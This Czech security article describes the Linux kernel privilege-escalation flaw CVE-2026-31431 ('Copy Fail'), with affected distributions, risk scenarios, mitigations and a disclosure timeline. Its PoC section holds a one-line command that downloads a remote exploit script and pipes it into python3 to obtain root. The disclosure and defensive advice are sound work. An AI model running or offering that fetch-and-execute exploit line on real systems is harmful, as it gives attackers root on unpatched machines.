732 bajtů prolomí každý Linux: epická zranitelnost se skrývala téměř deset let

🚨 Epická zranitelnost: 732 bajtů prolomí všechny Linuxy, téměř deset let skrytá
Zranitelnost jádra Linuxu pojmenovaná„Copy Fail“(CVE-2026-31431) byla veřejně odhalena:
- 732 bajtůdlouhý skript v Pythonu
- je 100% spolehlivý,bez nutnosti race window nebo offsetů jádra
- zasahuje všechny distribuce Linuxu(od roku 2017 dosud)
- primitiv úniku z kontejneru,útoky napříč tenanty
- téměř deset let skrytá,až do zveřejnění 29. dubna 2026
Tentýž skript funguje naUbuntu、RHEL、Amazon Linux、SUSEbez jakýchkoli úprav.
🎯 Jádro zranitelnosti
Jediná logická chyba
Copy Fail jepřímočará logická chyba:
- Nevyžaduje race window: na rozdíl od většiny LPE v Linuxu nepotřebuje race condition
- Nevyžaduje offsety jádra: nejsou potřeba žádné offsety specifické pro konkrétní jádro
- 100% spolehlivost: uspěje při každém pokusu
- Tentýž skript: funguje na všech distribucích
Řetězec zranitelnosti
Útočný řetězec Copy Fail:
- logická chyba v authencesn: jeden logický bug
- AF_ALG: přes crypto API jádra
- splice(): zřetězené volání
- zápis 4 bajtů do page-cache: finální útočný primitiv
- Zneužitelná téměř deset let: od roku 2017 do vydání záplaty
📊 Rozsah zasažení
Oficiálně ověřené distribuce
| Distribuce | Verze jádra | Stav |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ Ověřeno |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ Ověřeno |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ Ověřeno |
| SUSE 16 | 6.12.0-160000.9-default | ✅ Ověřeno |
Další zasažené distribuce
Následující distribucejsou zasaženy:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- Embedded Linux
Závěr: pokud bylo vaše jádro sestaveno mezi rokem 2017 a vydáním záplaty——jste zasaženi.
💡 Vysoce rizikové scénáře
| Scénář | Riziko | Dopad |
|---|---|---|
| Multi-tenant linuxový host | Vysoké | kterýkoli uživatel se stane rootem |
| Kubernetes / kontejnerové clustery | Vysoké | útoky napříč kontejnery i tenanty |
| CI Runner / Build Farm | Vysoké | z pull requestu se stane root runneru |
| Cloud SaaS spouštějící kód uživatelů | Vysoké | tenant se stane rootem hostitele |
| Standardní linuxový server | Střední | interní LPE, lze řetězit s dalšími útoky |
| Jednouživatelský notebook | Nízké | krok eskalace oprávnění po průniku |
🔧 Zmírňující opatření
Řešení 1: aktualizace jádra (doporučeno)
Aktualizujte jádro na verzi obsahujícímainline commit a664bf3d603d:
- Obsah opravy: zrušení optimalizace algif_aead in-place z roku 2017
- Efekt: stránky page-cache se již neobjevují v zapisovatelném cílovém scatterlistu
- Stav: většina hlavních distribucí už záplatu vydala
Řešení 2: deaktivace modulu algif_aead (dočasně)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Dopad deaktivace algif_aead
| Komponenta | Dopad |
|---|---|
| dm-crypt / LUKS | Bez dopadu |
| kTLS / IPsec | Bez dopadu |
| OpenSSL / SSH | Bez dopadu |
| AF_ALG v uživatelském prostoru | Možný dopad |
Závěr: pro většinu systémů nemá deaktivace algif_aeadžádný znatelný dopad.
Řešení 3: blokování AF_ALG přes seccomp
U nedůvěryhodných workloadů (kontejnery, sandbox, CI) blokujte přes seccomp vytváření socketů AF_ALG:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 Ukázka PoC
PoC zranitelnosti byl zveřejněn, aby si obránci mohli ověřit své systémy:
Rychlé spuštění
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
Podrobnosti o PoC
- Velikost souboru: 732 bajtů
- Jazyk: Python 3.10+ stdlib only(os, socket, zlib)
- Výchozí cíl:/usr/bin/su
- SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Varování:skript upravuje page cache binárky setuid; změny po restartu nejsou trvalé, ale root shell je skutečný. Nespouštějte ho v produkci.
📅 Časová osa zveřejnění
| Datum | Událost |
|---|---|
| 2026-03-23 | Nahlášeno bezpečnostnímu týmu jádra Linuxu |
| 2026-03-24 | Prvotní potvrzení |
| 2026-03-25 | Návrh a revize záplaty |
| 2026-04-01 | Záplata odeslána do mainline |
| 2026-04-22 | Přidělení CVE-2026-31431 |
| 2026-04-29 | Veřejné zveřejnění |
🔍 Objevitel: Xint Code
Zranitelnost objevilXint Code:
- Doba skenování:přibližně 1 hodina skenování subsystému Linux crypto/
- Způsob objevu:audit kódu řízený AI
- Kompletní analýza:root cause、diagrams、operator prompt
- Další nálezy:zároveň byly objeveny další vysoce závažné zranitelnosti, jejichž zveřejnění se stále koordinuje
Bilance Xint Code
- 0-day RCE:ZeroDay Cloud, ovládnutí kategorie databází (Redis、PostgreSQL、MariaDB)
- DARPA AIxCC Top 3:finále DARPA AI Cyber Challenge
- DEF CON CTF 9×:historicky nejúspěšnější tým DEF CON CTF
📝 Shrnutí
Copy Fail (CVE-2026-31431) jeepická zranitelnost jádra Linuxu:
- 732 bajtů prolomí všechny Linuxy (od roku 2017 dosud)
- 100% spolehlivá, jediná logická chyba
- únik z kontejneru, útoky napříč tenanty
- téměř deset let skrytá, zveřejněna až 29. dubna 2026
- Rizikové scénáře: multi-tenant hosty, kontejnerové clustery, CI Runner, SaaS
- Zmírnění: aktualizace jádra nebo deaktivace algif_aead
- Objevitel: Xint Code, audit kódu řízený AI
Epická zranitelnost téměř deseti let, jeden skript prolomí všechny Linuxy.
Web zranitelnosti:https://copy.fail
GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431
Technická analýza:https://xint.io/blog/copy-fail-linux-distributions
Záplata jádra:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5